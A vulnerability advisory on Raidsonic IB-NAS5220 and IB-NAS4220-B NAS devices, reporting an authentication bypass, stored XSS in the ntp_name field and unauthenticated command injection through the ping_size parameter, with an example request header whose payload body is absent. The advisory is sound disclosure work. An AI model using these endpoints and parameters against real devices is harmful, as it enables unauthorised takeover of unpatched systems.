Device Name: IB-NAS5220 / IB-NAS4220-B
Vendor: Raidsonic

============ Vulnerable Firmware Releases: ============

Product Name IB-NAS5220 / IB-NAS4220-B
Tested Firmware IB5220: 2.6.3-20100206S
Tested Firmware IB4220: 2.6.3.IB.1.RS.1

Firmware Download:

============ Vulnerability Overview: ============

    * Authentication Bypass: 

-> Access the following URL to bypass the login procedure:

    * Stored XSS: 

System -> Time Settings -> NTP Server -> User Define

Injecting scripts into the parameter ntp_name reveals that this parameter is not properly validated for malicious input. You are able to place this script without authentication.


    * Unauthenticated OS Command Injection 

The vulnerability is caused by missing input validation in the ping_size parameter and can be exploited to inject and execute arbitrary shell commands.

Example Exploit:
POST /cgi/time/timeHandler.cgi HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 186



============ Solution ============

No known solution available.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Advisory URL:
Twitter: @s3cur1ty_de

============ Time Line: ============

August 2012 - discovered vulnerability
27.08.2012 - contacted vendor with vulnerability details for IB-NAS4220-B
28.08.2012 - vendor responded that they will not publish an update
15.10.2012 - contacted vendor with vulnerability details for IB-NAS5220
15.10.2012 - vendor responded that they will not publish an update
12.02.2013 - public release
===================== Advisory end =====================
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Raidsonic IB-NAS5220 and IB-NAS4220-B – Multiple Vulnerabilities

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